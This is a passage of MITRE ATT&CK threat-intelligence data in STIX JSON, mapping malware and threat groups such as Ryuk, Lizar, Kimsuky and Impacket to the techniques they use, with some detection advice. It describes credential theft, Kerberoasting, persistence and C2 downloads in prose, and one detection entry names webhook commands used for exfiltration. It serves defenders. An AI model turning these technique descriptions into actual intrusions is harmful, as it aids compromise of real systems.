"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cb2c8db-bd76-4a39-be55-6de6864cb129", "type": "relationship", "created": "2021-05-24T15:06:11.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}], "modified": "2021-05-24T15:06:11.274Z", "description": "[PS1](https://attack.mitre.org/software/S0613) can utilize a PowerShell loader.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--13183cdf-280b-46be-913a-5c6df47831e7", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6", "type": "relationship", "created": "2019-01-30T19:18:20.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "source_name": "TrendMicro MacOS April 2018"}, {"source_name": "Trend Micro MacOS Backdoor November 2020", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}], "modified": "2021-09-13T18:33:56.384Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cba4a5e-c005-495d-9cd6-60794d9b3247", "type": "relationship", "created": "2020-05-14T13:59:58.133Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2020-05-15T19:13:48.286Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has constructed legitimate appearing installation folder paths by calling <code>GetWindowsDirectoryW</code> and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as <code>C:\\Users\\Public</code>.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5cc793b0-cc45-439e-a994-c8884ca55fe7", "created": "2020-05-08T17:01:36.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.209Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used RDP for lateral movement.(Citation: Group IB Silence Sept 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cc7ade7-2e21-41a3-8535-4274c138dcc4", "type": "relationship", "created": "2021-03-31T18:53:16.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM MegaCortex", "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}], "modified": "2021-03-31T18:53:16.720Z", "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can parse the available drives and directories to determine which files to encrypt.(Citation: IBM MegaCortex) ", "relationship_type": "uses", "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cc7c5ef-f170-4147-8703-03ea34d40d12", "type": "relationship", "created": "2021-08-18T18:22:07.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. 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Retrieved December 22, 2020."}], "modified": "2020-12-28T22:09:15.740Z", "description": "[MoleNet](https://attack.mitre.org/software/S0553) can achieve persitence on the infected machine by setting the Registry run key.(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d0c84c6-1f4b-4adf-924a-7b5489bd0933", "type": "relationship", "created": "2020-02-25T19:19:09.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx", "description": "Microsoft. (n.d.). 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When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.", "relationship_type": "mitigates", "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d1d76e6-ecd8-44e7-bc90-7701788dc28e", "type": "relationship", "created": "2019-09-24T13:37:11.254Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZEUNION Feb 2019", "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "description": "Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION\u2019s Toolbox. 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Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T22:35:50.878Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can detect Avast Software, Doctor Web, Kaspersky, AVG, ESET, and Sophos antivirus programs.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d320f6f-7415-4c94-8c00-2fb3d0ff5036", "type": "relationship", "created": "2022-03-30T14:26:51.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.877Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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(2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}], "modified": "2020-03-19T23:18:35.459Z", "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d4113cb-f652-4214-9585-388422528960", "type": "relationship", "created": "2019-01-31T01:39:56.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.", "url": "https://www.secureauth.com/labs/open-source-tools/impacket", "source_name": "Impacket Tools"}], "modified": "2019-04-18T21:49:12.782Z", "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.(Citation: Impacket Tools)", "relationship_type": "uses", "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d43c968-d9d2-4687-949e-23888376f10c", "type": "relationship", "created": "2021-01-29T19:04:19.978Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rewterz Sidewinder APT April 2020", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}, {"source_name": "Rewterz Sidewinder COVID-19 June 2020", "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."}, {"source_name": "Cyble Sidewinder September 2020", "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}], "modified": "2021-07-21T12:24:09.191Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has added paths to executables in the Registry to establish persistence.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d45479d-7cc2-49cc-8f10-5ead0a1db033", "type": "relationship", "created": "2020-03-18T19:33:54.619Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.233Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim\u2019s machine to run as a standalone process.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d6f0f0e-7479-480a-aaef-92a3e8d8b7c8", "type": "relationship", "created": "2020-03-06T21:04:12.593Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-06T21:04:12.593Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d705563-a639-4ec1-a19d-f797c1c0c078", "type": "relationship", "created": "2022-03-15T19:56:31.108Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.108Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has searched for information on the target company's website.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d7d90a4-1ea6-4eca-94bd-3461d9a54229", "type": "relationship", "created": "2021-07-16T18:29:48.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-10-14T17:28:04.440Z", "description": "(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d81254d-9a66-49ea-9635-187da26d4a97", "type": "relationship", "created": "2021-11-30T19:34:54.217Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-11-30T19:34:54.217Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can enumerate running processes.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d818f5b-6145-4d8f-9be2-2d12fc1f71f1", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-17T02:54:39.683Z", "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's IP address and domain information, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d82a197-44f8-46ab-a604-b66569022604", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor for newly constructed network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d8315ce-3c76-4b78-8d6a-f0b7b101bcc0", "type": "relationship", "created": "2019-07-19T17:14:23.994Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:28.980Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) packed some payloads using different types of packers, both known and custom.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5d847c2a-ac23-4b74-a30c-f53acb3d0ef6", "created": "2023-07-20T15:35:56.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Github CLI Create Webhook", "description": "Github. (n.d.). Receiving webhooks with the GitHub CLI. Retrieved August 4, 2023.", "url": "https://docs.github.com/en/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli"}, {"source_name": "Microsoft CLI Create Subscription", "description": "Microsoft . (n.d.). Create subscription. Retrieved August 4, 2023.", "url": "https://learn.microsoft.com/en-us/graph/api/subscription-post-subscriptions"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T21:37:12.123Z", "description": "Monitor executed commands and arguments that may exfiltrate data to a webhook as a malicious command and control channel. Additionally, monitor commands that may create new webhook configurations in SaaS services - for example, `gh webhook forward` in Github or `mgc subscriptions create` in Office 365.(Citation: Github CLI Create Webhook)(Citation: Microsoft CLI Create Subscription)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d881746-44f9-4865-86de-97253fc197fb", "type": "relationship", "created": "2021-03-19T21:04:01.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}, {"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}, {"source_name": "Secureworks GOLD CABIN", "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}], "modified": "2021-03-25T15:34:04.436Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has sent spearphishing attachments with password protected ZIP files.(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d8e9a49-f534-4cb6-9e3e-aebacb3c1dd0", "type": "relationship", "created": "2020-05-26T16:17:59.683Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-15T19:59:06.620Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) conducted scanning for exposed TCP port 7001 as well as SSH and Redis servers.(Citation: Talos Rocke August 2018)(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d914544-0a93-43ba-b890-1f4a4fa818e8", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.655Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can download files and additional malware components.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5d925633-c463-4ca8-afb7-888505c70633", "created": "2022-04-14T21:51:35.834Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) has a plugin that can retrieve credentials from Internet Explorer and Microsoft Edge using `vaultcmd.exe` and another that can collect RDP access credentials using the `CredEnumerateW` function.(Citation: BiZone Lizar May 2021)", "modified": "2022-04-14T21:51:35.834Z", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5d96e66b-372a-43de-892d-30086d7ff00e", "created": "2022-08-02T18:03:38.458Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "\n[QuasarRAT](https://attack.mitre.org/software/S0262) has the ability to set file attributes to \"hidden\" to hide files from the compromised user's view in Windows File Explorer.(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T18:03:38.458Z", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5d972f64-4c81-43ce-ba08-2c791bd78287", "type": "relationship", "created": "2020-11-16T20:48:01.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting 